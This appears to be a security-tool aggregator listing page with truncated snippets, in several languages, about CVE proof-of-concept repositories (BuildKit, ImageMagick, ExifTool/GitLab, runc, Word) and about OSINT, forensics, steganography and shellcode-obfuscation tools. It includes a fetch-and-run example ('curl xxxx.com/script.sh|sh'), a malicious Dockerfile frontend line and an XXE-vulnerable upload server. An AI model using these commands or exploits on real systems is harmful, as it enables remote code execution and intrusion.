CVE-2026-78394

The Link Library WordPress plugin versions before 7.9.6 is vulnerable to a path traversal flaw due to insufficient sanitization of a user-supplied destination folder (specifically the 'filepath' parameter) during image generation. This allows users with Contributor roles or higher to create direc...

CVE-2024-23653

root@kitploit: syntax=docker.io/zdfa/evilerfile FROM alpine RUN grep Cap /proc/self/status root@kitploit: sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. \ --local dockerfile=. root@kitploit: ➜ cp sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. ...

osintnet-public

OsintNETは、ドメインインテリジェンス、ウェブサイトリスクスキャン、SERPディスカバリー、メール・ユーザー名OSINT、画像インテリジェンス、画像真正性チェック、AI画像検出のためのブラウザベースのOSINTプラットフォームです。 ウェブサイト · OSINTツール · ベストOSINTツール · AI OSINTツール · llms.txt · AIプロンプトマップ OsintNET - OSINTプラットフォーム、ドメインインテリジェンス、ウェブサイトリスクスキャナー、AI画像検出器...

cve-2022-44268

CVE-2022-44268 これを発見した研究者へのクレジット: Bryan Gonzalez and the Ocelot Team ImageMagick 7.1.0-40 を悪用する悪意のある PNG を作成します: CVE-2022-44267: サービス拒否 CVE-2022-44268: 情報漏洩 免責事項: このプロジェクトの作者は、このプロジェクトの素材によって生じる可能性のあるいかなる損害に対しても責任を負いません。 必要条件 Python3 PIL pip install Pillow 使用方法 craft.py を使用した PNG の作成:...

CVE-2024-55981

CVE-2024-55981 Nabz Image Gallery = 5.0.12 AND time-based blind qu...

Telegrip

안녕하세요 👋 Telegrip는 Telegram 관련 사례를 다루는 GUI 기반 디지털 포렌식 도구입니다. Telegrip는 다음과 같은 기능을 제공합니다: 1. Telegrip는 Android 기기에서 기기 정보와 모든 Telegram 관련 데이터가 포함된 스파스 이미지를 획득합니다. 2. 채널 및 그룹과 같은 공개 메시지부터 비밀 메시지 및 일반 메시지와 같은 비공개 메시지까지 모든 유형의 메시지를 파싱 및 분석한 후, 디지털 수사관이 수사 과정에서 활용할 수 있도록 사람이 읽을 수 있는 형식으로 변환합니다. 3. 이 도구...

LSB-Steganography

LSB-Steganography Python program based on stegonographical methods to hide files in images using the Least Significant Bit technique. I used the most basic method which is the least significant bit. A colour pixel is composed of red, green and blue, encoded on one byte. The idea is to store...

WAInjectBench

WAInjectBench WAInjectBenchは、Webエージェントにおけるプロンプトインジェクション検出 のための包括的なベンチマークです。 テキスト と画像 の2つのモダリティ にわたり、6種類の攻撃 をカバーしています。 📂 データセット構造 data/ text/ benign/ → 4カテゴリ、JSONLファイルとして保存 malicious/ → 8種類の攻撃、JSONLファイルとして保存 image/ benign/ → 2カテゴリ、サブフォルダに保存 malicious/ → 7種類の攻撃、サブフォルダに保存 ⚙️ インストール...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 これはテスト用に私が書いた単なる便利スクリプトです。 出力 root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be...

CVE-2021-22205

CVE-2021-22205 説明 - CVE-2021-22205 の POC: Gitlab CE/EE RCE 未認証リモートコード実行脆弱性 POC && EXP - antx により 2021-10-29 に作成。 詳細 - GitLab CE/EE の 11.9 以降のすべてのバージョンに影響する問題が発見されました。GitLab はファイルパーサーに渡される画像ファイルを適切に検証しておらず、リモートコマンド実行につながっていました。 CVE 重大度 - attackComplexity: LOW - attackVector: NETWORK -...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE Preauth RCE using ExifTool This project is for learning only, if someone's rights have been violated, please contact me to remove the project, and the lastDO NOT USE IT ILLEGALLY If you have any illegal behavior in the process of using this tool, you will bear all the...

DKMC

Don't Kill My Cat DKMC WINDOWS 10 now limit the shellcode payload from running properly due to the need of a RWX page to decode and execute the shellcode. DKMC can be update the set a memory page with properly permission. Don't kill my cat is a tool that generates obfuscated shellcode that is...

CVE-2024-21626-runcPOC

【脆弱性再現】CVE-2024-21626 docker runcエスケープ脆弱性 1、脆弱性概要 脆弱性名| docker runcエスケープ脆弱性 ---|--- 脆弱性番号| CVE-2024-21626 公開日| 2024-01-31 特徴| / 影響バージョン| runc @ v1.0.0-rc93,1.1.11 2、脆弱性悪用&POC/EXP 悪用条件 はやや厳しく、被害者の操作が必要であり、個人的にはあまり実用的ではないと考えます： 1. 攻撃者の悪意のあるイメージ（作業ディレクトリの設定などを含む）を使用してコンテナを作成する 2...

CVE-2026-11112-XXE-via-SVG-Image-Upload

CVE-2026-11112 – SVG画像アップロードによるXXE プログラムコード（Python Flask + XMLパーサー） root@kitploit: xxeuploadserver.py - Uploads SVG, renders with lxml resolving entities from flask import Flask, request from lxml import etree app = Flaskname @app.route'/upload', methods='POST' def uploadsvg: svgdata = request.da...

stegowiper

stegoWiper: 스테고멀웨어를 무력화하는 강력하고 유연한 능동 공격 지난 10년 동안 많은 위협 그룹이 스테고멀웨어 또는 기타 스테가노그래피 기반 기술을 사용하여 전 세계 모든 분야의 조직을 공격해 왔습니다. 몇 가지 예는 다음과 같습니다: APT15/Vixen Panda, APT23/Tropic Trooper, APT29/Cozy Bear, APT32/OceanLotus, APT34/OilRig, APT37/ScarCruft, APT38/Lazarus Group, Duqu Group, Turla, Vawtrack,...

stegowiper

stegoWiper: A powerful and flexible active attack for disrupting stegomalware Over the last 10 years, many threat groups have employed stegomalware or other steganography-based techniques to attack organizations from all sectors and in all regions of the world. Some examples are: APT15/Vixen Pand...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx 生成 .docx を生成して CVE-2021-40444 Microsoft Office Word リモートコード実行 を悪用する 1. 空の docx ファイルを作成します。 2. "挿入/オブジェクト" メニューで "ビットマップ画像" オブジェクトを追加します。 オブジェクトの追加...

xray

XRay has been reimplemented in Rust and expanded with more features, this repository is LEGACY code. Usehttps://github.com/evilsocket/legba XRAY XRay is a tool for network OSINT gathering, its goal is to make some of the initial tasks of information gathering and network mapping automatic. How Do...

anchore-engine

Anchore Engine IMPORTANT NOTE As of 2023, Anchore Engine is no longer maintained. There will be no future versions released. Users are advised to use Syft and Grype. For users interested in a supported commercial solution for container scanning and complaiance, schedule a demo to see Anchore...

halogen

Halogen is a tool to automate the creation of yara rules based on the image files embedded within a malicious document. This can assist cyber security professionals in writing detection rules for malicious threats as well as help responders in identifying with particular threat they are dealing...